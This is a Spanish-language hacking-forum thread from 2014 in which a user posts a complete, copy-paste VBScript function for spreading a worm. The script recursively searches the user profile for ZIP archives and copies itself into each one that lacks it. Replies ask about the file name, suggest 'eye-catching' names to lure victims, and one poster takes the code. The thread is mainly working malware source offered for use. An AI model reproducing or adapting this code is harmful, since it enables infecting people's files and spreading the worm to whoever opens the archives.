Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: Mad Antrax en 10 Abril 2014, 09:49 AM

Título: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: Mad Antrax en 10 Abril 2014, 09:49 AM
Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:

(http://i.imgur.com/uhCEFqE.png)

Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName


2) Recoger la ruta de los ficheros de la carpeta %userprofile%

   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files


3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If


6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next


==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código (vb) [Seleccionar]
On Error Resume Next

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

Function ZipSpread(P)
   On Error Resume Next
   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files
   
   For Each File In Files
       ext = LCase(oFSO.GetExtensionName(File.path))
       If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
       End If
   Next
   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next
End Function

Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close

MsgBox "<end>"


Saludos!! :D
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: daryo en 11 Abril 2014, 17:57 PM
genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: Mad Antrax en 11 Abril 2014, 18:14 PM
Cita de: daryo en 11 Abril 2014, 17:57 PM
genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?

Queda guardado en la carpeta raíz del ZIP, con el nombre del fichero original. Por ejemplo:

Fichero: gusano.vbs

En los ficheros ZIP que infecte, se copiará con el nombre gusano.vbs
Se podría modificar el script para que cambie o genere un nombre aleatório.

Saludos
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: daryo en 11 Abril 2014, 18:17 PM
ah gracias :) , si talves estaria bien ponerle nombres llamativos xD
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: titan6146 en 14 Abril 2014, 21:06 PM
Sos una bestia muy util el code me lo llevo
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP
Publicado por: BigBear en 15 Abril 2014, 20:42 PM
me gustaria traducirlo a delphi pero lo veo para avanzados.